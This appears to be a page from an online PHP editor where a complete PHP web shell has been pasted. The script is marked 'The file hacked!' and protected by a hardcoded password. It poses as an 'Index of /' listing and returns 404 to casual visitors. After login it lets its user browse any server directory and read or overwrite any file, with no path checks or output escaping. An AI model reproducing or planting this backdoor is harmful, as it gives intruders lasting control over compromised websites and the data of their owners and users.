Online PHP editor | rfc for pQMUD

<?php //The file hacked! ?> <html> <title>Index of /</title> <?php session_start(); define('PASSWORD', 'MosheBenLulu'); header('Content-Type: text/html; charset=utf-8'); if($_GET['page'] == 'get') { if(isset($_SESSION['utf8-52']) && $_SESSION['utf8-52'] == 'indexed') { ?> <form method="post"> <h1>Index of /<?php echo $_GET['dir']; ?><a href="?page=logout" style="color:white;">LOGOUT</a></h1> <ul> <?php if(!isset($_GET['dir'])) { $handle = opendir('.'); $dir = ""; } else { $handle = opendir($_GET['dir']); $dir = $_GET['dir'].'/'; $dd = explode("/", $dir); $dc = 0; $bb = ""; while($dc < count($dd)-2) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo "<li><a href='?page=get'>Parent Directory</a></li>"; } else { echo "<li><a href='?page=get&dir={$bb}'>Parent Directory</a></li>"; } } while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $bl = $dir.$entry; if(is_dir($bl)) { echo "<li><a href='?page=get&dir={$dir}{$entry}'>$entry</a></li>"; } else { echo "<li><a href='?page=set&file={$dir}{$entry}'>$entry</a></li>"; } } } closedir($handle); ?> <ul> </form> <?php } else { ?> <form method="post"> <input type="password" name="password" /> <input type="submit" name="submit" /> </form> <?php if(isset($_POST['submit'])) { $password = $_POST['password']; if($password == PASSWORD) { $_SESSION['utf8-52'] = 'indexed'; echo '<script>top.location="";</script>'; } } } } elseif($_GET['page'] == 'set') { $filename = $_GET['file']; ?> <form method="post"> <textarea name="text" rows="50" cols="100"><?php $handle = fopen($filename, "r+"); if(filesize($filename) == 0) { $contents = fread($handle, 1); } else { $contents = fread($handle, filesize($filename)); } echo($contents); ?></textarea><br /> <input type="submit" name="sub1" value="Save" /> <input type="submit" name="sub2" value="Cancel" /> </form> <?php } elseif($_GET['page'] == 'logout') { $_SESSION['utf8-52'] = ""; echo '<script>alert("Logout!");top.location="?";</script>'; } else { header("HTTP/1.1 404 Not Found"); } if(isset($_POST['sub1'])) { $file_handle = fopen($filename, 'w'); fwrite($file_handle, $_POST['text']); fclose($file_handle); echo '<script>alert("Edited!");top.location="?page=get";</script>'; } if(isset($_POST['sub2'])) { $dd = explode("/", $filename); $dc = 0; $bb = ""; while($dc < count($dd)-1) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo '<script>top.location="?page=get";</script>'; } else { echo '<script>top.location="?page=get&dir='.$bb.'";</script>'; } } ?> </html>

3v4l.org

Active branches

Archived branches